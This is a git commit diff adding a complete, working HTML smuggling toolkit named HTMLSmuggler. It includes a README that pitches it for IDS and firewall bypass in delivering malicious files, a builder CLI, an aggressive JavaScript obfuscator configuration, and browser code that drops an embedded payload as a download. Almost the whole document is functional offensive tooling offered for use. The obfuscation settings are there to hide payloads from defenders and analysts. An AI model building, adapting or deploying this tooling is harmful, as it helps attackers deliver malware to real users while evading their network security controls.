add: base http smuggling template and obfuscator config

.eslintrc.js

@@ -0,0 +1,33 @@
+module.exports = {
+  env: {
+    browser: true,
+    es2021: true,
+  },
+  extends: ["airbnb-base", "prettier"],
+  plugins: ["simple-import-sort"],
+  overrides: [
+    {
+      env: {
+        node: true,
+      },
+      files: [".eslintrc.{js,cjs}"],
+      parserOptions: {
+        sourceType: "script",
+      },
+    },
+  ],
+  parserOptions: {
+    ecmaVersion: "latest",
+    sourceType: "module",
+  },
+  rules: {
+    "import/prefer-default-export": "off",
+    "simple-import-sort/imports": "error",
+    "simple-import-sort/exports": "error",
+  },
+  globals: {
+    FILENAME: true,
+    CONTENTTYPE: true,
+    COMPRESS: true,
+  },
+};

.gitignore

@@ -0,0 +1,8 @@
+node_modules/
+dist/
+
+# all payloads
+src/assets/*
+!src/assets/.gitkeep
+
+*.log

.prettier.js

@@ -0,0 +1,16 @@
+module.exports = {
+  printWidth: 80,
+  tabWidth: 2,
+  useTabs: false,
+  semi: true,
+  singleQuote: true,
+  quoteProps: "as-needed",
+  trailingComma: "all",
+  bracketSpacing: true,
+  bracketSameLine: false,
+  arrowParens: "always",
+  proseWrap: "preserve",
+  htmlWhitespaceSensitivity: "strict",
+  vueIndentScriptAndStyle: true,
+  endOfLine: "lf",
+};

LICENSE

@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2023 Georgy Gennadev
+Copyright (c) 2023 Georgii Gennadev
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

README.md

@@ -1 +1,56 @@
-# HTMLSmuggler
+# HTMLSmuggler
+
+HTMLSmuggler - JS payload generator for IDS bypass and payload delivery via HTML smuggling.
+
+## Description
+
+The primary objective of HTML smuggling is to bypass network security controls, such as firewalls and intrusion detection systems, by disguising malicious payloads within seemingly harmless HTML and JavaScript code. By exploiting the dynamic nature of web applications, attackers can deliver malicious content to a user's browser without triggering security alerts or being detected by traditional security mechanisms. Thanks to this technique, the download of a malicious file is not displayed in any way in modern IDS solutions.
+
+## Features
+
+* Built-in highly configurable JavaScript obfuscator that fully hides your payload.
+* May be used both as an independent JS library or embedded in JS frameworks such as React, Vue.js, etc.
+* The simplicity of the template allows you to add extra data handlers/compressions/obfuscations.
+
+## Installation
+
+1. [Install yarn](https://classic.yarnpkg.com/lang/en/docs/install/) package manager.
+2. Install dependencies:
+
+    ```bash
+    yarn
+    ```
+
+3. Modify [javascript-obfuscator options](https://github.com/javascript-obfuscator/javascript-obfuscator#javascript-obfuscator-options) in `obfuscator.js`, default preset is nice, but very slow.
+4. Compile your JS payload:
+
+    ```bash
+    yarn build -p /path/ot/payload -n file.exe -t "application/octet-stream" -c
+    ```
+
+5. Get your payload from `dist/index.js`, insert it into your page and call `download()` function.
+
+## Usage
+
+```text
+Options:
+  -p, --payload <string>  Path to payload file you want to smuggle
+  -n, --name <string>     Name of file, that would be downloaded
+  -c, --compress          Enable payload compression (gzip)
+  -t, --type <string>     Contet-Type of downlonaded file (default: "application/octet-stream")
+  -h, --help              Display help for command
+```
+
+## FAQ
+
+Q: I have an error `RangeError: Maximum call stack size exceeded`, how to solve it?
+A: This [issue described here](https://github.com/javascript-obfuscator/javascript-obfuscator/issues/89). To fix it, try to disable `splitStrings` in `obfuscator.js` or make smaller payload (it's recommended to use up to 2 MB payloads because of this issue).
+
+Q: Why does my payload build so long?
+A: The bigger payload you use, the longer it takes to create a JS file. To decrease time of build, try to disable `splitStrings` in `obfuscator.js`. Below is a table with estimated build times using default `obfuscator.js`.
+
+| Payload size | Build time |
+| --- | --- |
+| 525 KB | 53 s |
+| 1.25 MB | 8 m |
+| 3.59 MB | 25 m |

builder.js

@@ -0,0 +1,59 @@
+/* eslint-disable no-console */
+/* eslint-disable import/no-extraneous-dependencies */
+const fs = require("fs");
+const { program } = require("commander");
+const webpack = require("webpack");
+const fflate = require("fflate");
+const webpackConfig = require("./webpack.config");
+
+program
+  .requiredOption(
+    "-p, --payload <string>",
+    "Path to payload file you want to smuggle"
+  )
+  .requiredOption(
+    "-n, --name <string>",
+    "Name of file, that would be downloaded"
+  )
+  .option(
+    "-t, --type <string>",
+    "Contet-Type of downlonaded file",
+    "application/octet-stream"
+  )
+  .option("-c, --compress", "Enable payload compression (gzip)");
+
+program.parse();
+
+console.log("Using payload:", program.opts().payload);
+console.log("Using filename:", program.opts().name);
+console.log("Using Content-Type:", program.opts().type);
+
+const dst = "src/assets/payload.bin";
+fs.readFile(program.opts().payload, { encoding: "utf8" }, (err, data) => {
+  if (err) throw err;
+
+  const payload = program.opts().compress
+    ? fflate.compressSync(fflate.strToU8(data), { level: 9, mem: 12 })
+    : data;
+  console.log("Payload size:", payload.length);
+
+  fs.writeFile(dst, payload, { flag: "w+" }, (err2) => {
+    if (err2) throw err2;
+
+    const compiler = webpack(
+      webpackConfig({
+        type: program.opts().type,
+        name: program.opts().name,
+        compress: program.opts().compress,
+      })
+    );
+    compiler.run((err3, stats) => {
+      if (err3) throw err3;
+      console.log(
+        stats.toString({
+          colors: true,
+        })
+      );
+    });
+  });
+});

obfuscator.js

@@ -0,0 +1,54 @@
+module.exports = {
+  compact: true,
+  controlFlowFlattening: true,
+  controlFlowFlatteningThreshold: 1,
+  deadCodeInjection: true,
+  deadCodeInjectionThreshold: 1,
+  // NOTE: disable debugProtection for testing in console
+  debugProtection: true,
+  debugProtectionInterval: 4000,
+  disableConsoleOutput: true,
+  domainLock: [],
+  domainLockRedirectUrl: "about:blank",
+  forceTransformStrings: [],
+  identifierNamesCache: null,
+  identifierNamesGenerator: "mangled-shuffled",
+  identifiersDictionary: [],
+  identifiersPrefix: "",
+  ignoreImports: false,
+  inputFileName: "",
+  log: true,
+  numbersToExpressions: true,
+  renameGlobals: false,
+  renameProperties: true,
+  renamePropertiesMode: "safe",
+  reservedNames: [],
+  reservedStrings: [],
+  seed: 0,
+  selfDefending: true,
+  simplify: true,
+  sourceMap: false,
+  sourceMapBaseUrl: "",
+  sourceMapFileName: "",
+  sourceMapMode: "separate",
+  sourceMapSourcesMode: "sources-content",
+  // NOTE: disable splitStrings if "Maximum call stack size exceeded"
+  splitStrings: true,
+  splitStringsChunkLength: 35,
+  stringArray: true,
+  stringArrayCallsTransform: true,
+  stringArrayCallsTransformThreshold: 1,
+  stringArrayEncoding: ["base64", "rc4"],
+  stringArrayIndexesType: ["hexadecimal-number"],
+  stringArrayIndexShift: true,
+  stringArrayRotate: true,
+  stringArrayShuffle: true,
+  stringArrayWrappersCount: 6,
+  stringArrayWrappersChainedCalls: true,
+  stringArrayWrappersParametersMaxCount: 6,
+  stringArrayWrappersType: "function",
+  stringArrayThreshold: 1,
+  target: "browser",
+  transformObjectKeys: true,
+  unicodeEscapeSequence: false,
+};

package.json

@@ -0,0 +1,32 @@
+{
+  "name": "html-smuggler",
+  "version": "1.0.0",
+  "description": "Payload delivery using HTML smuggling",
+  "private": true,
+  "repository": {
+    "url": "https://github.com/D00Movenok/HTMLSmuggler",
+    "type": "git"
+  },
+  "author": "Georgii Gennadev <egor.gennadjev@yandex.ru>",
+  "license": "MIT",
+  "scripts": {
+    "build": "node builder.js",
+    "lint": "eslint . --ext .js --fix --ignore-path .gitignore"
+  },
+  "devDependencies": {
+    "binary-loader": "^0.0.1",
+    "commander": "^11.0.0",
+    "eslint": "^8.2.0",
+    "eslint-config-airbnb-base": "^15.0.0",
+    "eslint-config-prettier": "^8.8.0",
+    "eslint-plugin-import": "^2.25.2",
+    "eslint-plugin-simple-import-sort": "^10.0.0",
+    "javascript-obfuscator": "^4.0.2",
+    "prettier": "^2.8.8",
+    "webpack": "^5.88.1",
+    "webpack-obfuscator": "^3.5.1"
+  },
+  "dependencies": {
+    "fflate": "^0.8.0"
+  }
+}

src/index.js

@@ -0,0 +1,10 @@
+import { decompressSync, strToU8 } from "fflate";
+
+import payload from "./assets/payload.bin";
+import { download as down } from "./utils";
+
+export function download() {
+  let data = strToU8(payload, true);
+  data = COMPRESS ? decompressSync(data) : data;
+  down(data, FILENAME, CONTENTTYPE);
+}

src/utils.js

@@ -0,0 +1,13 @@
+export function download(data, filename, type) {
+  const file = new Blob([data], { type });
+  const a = document.createElement("a");
+  const url = URL.createObjectURL(file);
+  a.href = url;
+  a.download = filename;
+  document.body.appendChild(a);
+  a.click();
+  setTimeout(() => {
+    document.body.removeChild(a);
+    window.URL.revokeObjectURL(url);
+  }, 0);
+}

webpack.config.js

@@ -0,0 +1,42 @@
+const path = require("path");
+const webpack = require("webpack");
+const WebpackObfuscator = require("webpack-obfuscator");
+const obfuscatorOptions = require("./obfuscator");
+
+module.exports = ({ name, type, compress }) => ({
+  mode: "production",
+  performance: {
+    hints: false,
+    maxEntrypointSize: 512000,
+    maxAssetSize: 512000,
+  },
+  entry: "./src/index.js",
+  output: {
+    path: path.resolve(__dirname, "dist"),
+    filename: "index.js",
+    libraryTarget: "window",
+  },
+  module: {
+    rules: [
+      {
+        test: /assets\/.*/,
+        use: "binary-loader",
+      },
+      {
+        test: /.*/,
+        enforce: "post",
+        use: {
+          loader: WebpackObfuscator.loader,
+          options: obfuscatorOptions,
+        },
+      },
+    ],
+  },
+  plugins: [
+    new webpack.DefinePlugin({
+      FILENAME: JSON.stringify(name),
+      CONTENTTYPE: JSON.stringify(type),
+      COMPRESS: JSON.stringify(compress),
+    }),
+  ],
+});